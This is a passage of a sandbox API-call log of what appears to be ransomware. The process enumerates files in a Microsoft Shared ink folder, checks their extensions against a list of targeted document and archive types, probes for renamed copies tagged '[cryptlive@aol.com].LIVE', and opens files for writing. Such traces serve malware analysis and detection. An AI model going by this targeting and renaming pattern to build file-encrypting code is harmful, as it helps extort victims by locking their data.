Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString=".dbf") returned 4 [0040.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.866] lstrlenW (lpString=".1cd") returned 4 [0040.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0040.867] lstrlenW (lpString=".jpg") returned 4 [0040.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.867] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.867] lstrlenW (lpString="base.xml") returned 8 [0040.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.868] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3150) returned 1 [0040.868] CloseHandle (hObject=0x1b4) returned 1 [0040.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0040.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.869] lstrlenW (lpString=".doc") returned 4 [0040.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".docx") returned 5 [0040.869] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0040.869] lstrlenW (lpString=".pdf") returned 4 [0040.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".xls") returned 4 [0040.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".xlsx") returned 5 [0040.869] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0040.869] lstrlenW (lpString=".ppt") returned 4 [0040.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.869] lstrlenW (lpString=".zip") returned 4 [0040.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.869] lstrlenW (lpString=".rar") returned 4 [0040.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".bz2") returned 4 [0040.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.869] lstrlenW (lpString=".7z") returned 3 [0040.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.869] lstrlenW (lpString=".dbf") returned 4 [0040.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".1cd") returned 4 [0040.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".jpg") returned 4 [0040.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".doc") returned 4 [0040.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".docx") returned 5 [0040.870] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0040.870] lstrlenW (lpString=".pdf") returned 4 [0040.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".xls") returned 4 [0040.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".xlsx") returned 5 [0040.870] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0040.870] lstrlenW (lpString=".ppt") returned 4 [0040.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".zip") returned 4 [0040.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.870] lstrlenW (lpString=".rar") returned 4 [0040.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".bz2") returned 4 [0040.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString=".7z") returned 3 [0040.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".dbf") returned 4 [0040.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.870] lstrlenW (lpString=".1cd") returned 4 [0040.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0040.871] lstrlenW (lpString=".jpg") returned 4 [0040.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.871] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.871] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0040.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0040.871] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=247) returned 1 [0040.871] CloseHandle (hObject=0x1b4) returned 1 [0040.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0040.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString=".doc") returned 4 [0040.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString=".docx") returned 5 [0040.872] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0040.872] lstrlenW (lpString=".pdf") returned 4 [0040.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString=".xls") returned 4 [0040.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString=".xlsx") returned 5 [0040.872] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0040.872] lstrlenW (lpString=".ppt") returned 4 [0040.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString=".zip") returned 4 [0040.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.872] lstrlenW (lpString=".rar") returned 4 [0040.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString=".bz2") returned 4 [0040.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString=".7z") returned 3 [0040.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString=".dbf") returned 4 [0040.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString=".1cd") returned 4 [0040.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString=".jpg") returned 4 [0040.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.873] lstrlenW (lpString=".doc") returned 4 [0040.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString=".docx") returned 5 [0040.873] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0040.873] lstrlenW (lpString=".pdf") returned 4 [0040.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString=".xls") returned 4 [0040.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString=".xlsx") returned 5 [0040.873] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0040.873] lstrlenW (lpString=".ppt") returned 4 [0040.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.873] lstrlenW (lpString=".zip") returned 4 [0040.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.873] lstrlenW (lpString=".rar") returned 4 [0040.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString=".bz2") returned 4 [0040.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString=".7z") returned 3 [0040.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.873] lstrlenW (lpString=".dbf") returned 4 [0040.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.873] lstrlenW (lpString=".1cd") returned 4 [0040.873] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0040.873] lstrlenW (lpString=".jpg") returned 4 [0040.873] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.873] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.874] lstrlenW (lpString="base_altgr.xml") returned 14 [0040.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.875] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3161) returned 1 [0040.875] CloseHandle (hObject=0x1b0) returned 1 [0040.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0040.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.875] lstrlenW (lpString=".doc") returned 4 [0040.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.875] lstrlenW (lpString=".docx") returned 5 [0040.875] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0040.875] lstrlenW (lpString=".pdf") returned 4 [0040.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.875] lstrlenW (lpString=".xls") returned 4 [0040.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.875] lstrlenW (lpString=".xlsx") returned 5 [0040.875] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0040.875] lstrlenW (lpString=".ppt") returned 4 [0040.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.875] lstrlenW (lpString=".zip") returned 4 [0040.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.875] lstrlenW (lpString=".rar") returned 4 [0040.875] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.875] lstrlenW (lpString=".bz2") returned 4 [0040.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString=".7z") returned 3 [0040.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString=".dbf") returned 4 [0040.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString=".1cd") returned 4 [0040.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString=".jpg") returned 4 [0040.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString=".doc") returned 4 [0040.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString=".docx") returned 5 [0040.876] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0040.876] lstrlenW (lpString=".pdf") returned 4 [0040.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString=".xls") returned 4 [0040.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString=".xlsx") returned 5 [0040.876] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0040.876] lstrlenW (lpString=".ppt") returned 4 [0040.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.876] lstrlenW (lpString=".zip") returned 4 [0040.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.876] lstrlenW (lpString=".rar") returned 4 [0040.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.876] lstrlenW (lpString=".bz2") returned 4 [0040.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.877] lstrlenW (lpString=".7z") returned 3 [0040.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.877] lstrlenW (lpString=".dbf") returned 4 [0040.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.877] lstrlenW (lpString=".1cd") returned 4 [0040.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0040.877] lstrlenW (lpString=".jpg") returned 4 [0040.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.877] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.877] lstrlenW (lpString="base_ca.xml") returned 11 [0040.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.877] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3166) returned 1 [0040.877] CloseHandle (hObject=0x1b0) returned 1 [0040.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0040.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString=".doc") returned 4 [0040.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString=".docx") returned 5 [0040.878] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0040.878] lstrlenW (lpString=".pdf") returned 4 [0040.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString=".xls") returned 4 [0040.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString=".xlsx") returned 5 [0040.878] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0040.878] lstrlenW (lpString=".ppt") returned 4 [0040.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString=".zip") returned 4 [0040.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.878] lstrlenW (lpString=".rar") returned 4 [0040.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString=".bz2") returned 4 [0040.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString=".7z") returned 3 [0040.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString=".dbf") returned 4 [0040.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString=".1cd") returned 4 [0040.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.878] lstrlenW (lpString=".jpg") returned 4 [0040.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString=".doc") returned 4 [0040.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString=".docx") returned 5 [0040.879] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0040.879] lstrlenW (lpString=".pdf") returned 4 [0040.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString=".xls") returned 4 [0040.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString=".xlsx") returned 5 [0040.879] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0040.879] lstrlenW (lpString=".ppt") returned 4 [0040.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString=".zip") returned 4 [0040.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.879] lstrlenW (lpString=".rar") returned 4 [0040.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString=".bz2") returned 4 [0040.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString=".7z") returned 3 [0040.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString=".dbf") returned 4 [0040.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString=".1cd") returned 4 [0040.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0040.879] lstrlenW (lpString=".jpg") returned 4 [0040.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.880] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.880] lstrlenW (lpString="base_heb.xml") returned 12 [0040.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0040.881] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=738) returned 1 [0040.881] CloseHandle (hObject=0x1b0) returned 1 [0040.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0040.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft 